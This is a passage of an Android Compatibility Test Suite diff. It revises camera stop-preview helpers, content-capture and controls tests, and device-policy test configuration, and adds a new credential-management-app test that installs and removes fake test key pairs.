--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -200,7 +200,7 @@
 
                         // Blocking stop preview
                         startTimeMs = SystemClock.elapsedRealtime();
-                        blockingStopPreview();
+                        blockingStopRepeating();
                         stopPreviewTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
                     }
                     finally {
@@ -433,7 +433,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreviewAndDrain();
+                    blockingStopRepeating();
 
                     CameraTestUtils.closeImageReaders(readers);
                     readers = null;
@@ -655,7 +655,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreview();
+                    stopRepeating();
                 }
 
                 for (int i = 0; i < getResultTimes.length; i++) {
@@ -929,7 +929,7 @@
             maxCaptureGapsMs[i] = maxTimestampGapMs;
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1026,7 +1026,7 @@
             }
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1076,12 +1076,6 @@
                 zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
     }
 
-    private void stopZslStreaming() throws Exception {
-        mTestRule.getCameraSession().stopRepeating();
-        mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
-    }
-
     /**
      * Wait for a certain number of frames, the images and results will be drained from the
      * listeners to make sure that next reprocessing can get matched results and images.
@@ -1154,10 +1148,14 @@
                 /*listener*/null, /*handler*/null);
     }
 
-    private void blockingStopPreview() throws Exception {
-        stopPreview();
+    /**
+     * Stop repeating requests for current camera and waiting for it to go back to idle, resulting
+     * in an idle device.
+     */
+    private void blockingStopRepeating() throws Exception {
+        stopRepeating();
         mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
     }
 
     private void blockingStartPreview(String id, CaptureCallback listener,
@@ -1381,29 +1379,14 @@
     }
 
     /**
-     * Stop preview for current camera device by closing the session.
+     * Stop the repeating requests of current camera.
      * Does _not_ wait for the device to go idle
      */
-    private void stopPreview() throws Exception {
+    private void stopRepeating() throws Exception {
         // Stop repeat, wait for captures to complete, and disconnect from surfaces
         if (mTestRule.getCameraSession() != null) {
             if (VERBOSE) Log.v(TAG, "Stopping preview");
-            mTestRule.getCameraSession().close();
-        }
-    }
-
-    /**
-     * Stop preview for current camera device by closing the session and waiting for it to close,
-     * resulting in an idle device.
-     */
-    private void stopPreviewAndDrain() throws Exception {
-        // Stop repeat, wait for captures to complete, and disconnect from surfaces
-        if (mTestRule.getCameraSession() != null) {
-            if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
-            mTestRule.getCameraSession().close();
-            mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                    BlockingSessionCallback.SESSION_CLOSED,
-                    /*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
+            mTestRule.getCameraSession().stopRepeating();
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3a57e6e..03b1559 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1153,7 +1153,7 @@
 
             // Stop recording and preview
             stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
-                    /* stopCameraStreaming */false);
+                    /* stopCameraStreaming */true);
             // Convert number of frames camera produced into the duration in unit of ms.
             float frameDurationMs = 1000.0f / profile.videoFrameRate;
             float durationMs = 0.f;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index aa4fa9e..9d2375f 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -425,9 +425,15 @@
         activity.syncRunOnUiThread(() -> {
             activity.mUsername.setText("a");
             activity.mUsername.setText("ab");
+            activity.mUsername.setText("");
+            activity.mUsername.setText("abc");
 
             activity.mPassword.setText("d");
+            activity.mPassword.setText("");
+            activity.mPassword.setText("");
             activity.mPassword.setText("de");
+            activity.mPassword.setText("def");
+            activity.mPassword.setText("");
 
             activity.mUsername.setText("abc");
         });
@@ -440,15 +446,20 @@
 
         assertRightActivity(session, sessionId, activity);
 
-        final int additionalEvents = 3;
+        final int additionalEvents = 8;
         final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
                 additionalEvents);
 
         final int i = LoginActivity.MIN_EVENTS;
 
         assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
-        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
+        assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "");
         assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+        assertViewTextChanged(events, i + 3, activity.mPassword.getAutofillId(), "d");
+        assertViewTextChanged(events, i + 4, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 5, activity.mPassword.getAutofillId(), "def");
+        assertViewTextChanged(events, i + 6, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 7, activity.mUsername.getAutofillId(), "abc");
 
         activity.assertInitialViewsDisappeared(events, additionalEvents);
     }
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
     }
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 94982a7..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -60,7 +60,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
         mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
-        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+        mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Test
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 5310e42..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -66,7 +66,7 @@
     public CtsControlsService() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
-            PendingIntent.FLAG_UPDATE_CURRENT);
+            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
         mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
 
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index 4050795..34680e8 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -23,6 +23,8 @@
         "testng", // used for assertThrows
         // TODO: Remove this once we remove ui automator usage
         "androidx.test.uiautomator_uiautomator",
+        "EventLib",
+        "ActivityContext"
     ],
     srcs: ["src/**/*.java"],
     test_suites: [
@@ -30,8 +32,5 @@
         "vts10",
         "general-tests",
     ],
-    test_options: {
-    extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
-    },
     sdk_version: "test_current",
 }
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index a809d68..ceceb7a 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.devicepolicy.cts"
           android:targetSandboxVersion="2">
 
-    <application>
+    <application android:testOnly="true">
         <uses-library android:name="android.test.runner" />
 
         <activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 23ca675..03cfe25 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
         <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
index 8ea32bc..ea5f246 100644
--- a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
+++ b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
@@ -24,6 +24,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
         <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunOnSecondaryUserTargetPreparer">
diff --git a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
index 951511d..f8a7faa 100644
--- a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
+++ b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
         <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..e759834
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.platform.test.annotations.Postsubmit;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.compatibility.common.util.BlockingCallback;
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CredentialManagementAppTest {
+
+    private static final PrivateKey PRIVATE_KEY =
+            getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+    private static final Certificate CERTIFICATE =
+            getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+    private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+    private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+    private static final String ALIAS = "com.android.test.rsa";
+    private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+    private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+    private final static Uri URI = Uri.parse("https://test.com");
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+            "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+    private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+    private final int mUserId = Process.myUserHandle().getIdentifier();
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                        buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                        /* idAttestationFlags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+            throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+                        Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS, 0)).isTrue();
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+        } finally {
+            // Remove keypair as credential management app
+            assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair as credential management app
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                    buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                    /* idAttestationFlags = */ 0);
+
+            assertThat(generated).isNotNull();
+            verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair and aet keypair certificate as credential management app
+            KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+                    KeyProperties.DIGEST_SHA256).build();
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+            List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+            mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+            // Make sure certificates can be retrieved from KeyChain
+            Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+            assertThat(generated).isNotNull();
+            assertThat(fetchedCerts).isNotNull();
+            assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+            assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            ActivityContext.runWithContext((activity) ->
+                    KeyChain.choosePrivateKeyAlias(activity, callback,
+                            /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
+            );
+
+            assertThat(callback.await()).isEqualTo(ALIAS);
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
+    //  these boilerplate classes
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void setCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to set credential management app",
+                    KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+                            AUTHENTICATION_POLICY));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+        assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+                isCredentialManagementApp());
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void removeCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to remove credential management app",
+                    KeyChain.removeCredentialManagementApp(CONTEXT));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    }
+
+    private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+            throws Exception {
+        String command = "appops set --user " + userId + " " + packageName + " " +
+                "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+            throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+        verifySignature(algoIdentifier, keyPair.getPublic(),
+                signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static PrivateKey getPrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private static Certificate getCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private boolean isCredentialManagementApp() {
+        AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+        return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+                Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+    }
+
+    private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+        return new KeyGenParameterSpec.Builder(
+                alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setIsStrongBoxBacked(useStrongBox)
+                .build();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index 4f167d8..a80a32b 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -25,17 +25,17 @@
 import static org.junit.Assert.assertEquals;
 import static org.testng.Assert.assertThrows;
 
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.uiautomator.UiDevice;
-
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.CrossProfileApps;
 import android.os.UserHandle;
 import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.Until;
 
@@ -72,6 +72,7 @@
 
     @Test
     @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -80,6 +81,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -98,6 +100,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -107,6 +110,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile(installTestApp = false)
+    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -139,6 +143,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
     @Ignore // TODO(scottjonathan): Replace use of UIAutomator
+    @Postsubmit(reason="new test")
     public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
         sCrossProfileApps.startMainActivity(
                 new ComponentName(sContext, MainActivity.class), sDeviceState.getWorkProfile());
@@ -161,6 +166,7 @@
     }
 
     @Test
+    @Postsubmit(reason="new test")
     public void startMainActivity_activityNotExported_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.startMainActivity(
@@ -170,6 +176,7 @@
     }
 
     @Test
+    @Postsubmit(reason="new test")
     public void startMainActivity_activityNotMain_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.startMainActivity(
@@ -180,6 +187,7 @@
 
     @Test
     @Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
+    @Postsubmit(reason="new test")
     public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
 
@@ -188,6 +196,7 @@
 
     @Test
     @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
     public void
             startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
@@ -199,6 +208,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
     public void
     startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
@@ -223,6 +233,7 @@
 
     @Test
     @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -232,6 +243,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -260,6 +272,7 @@
     @Test
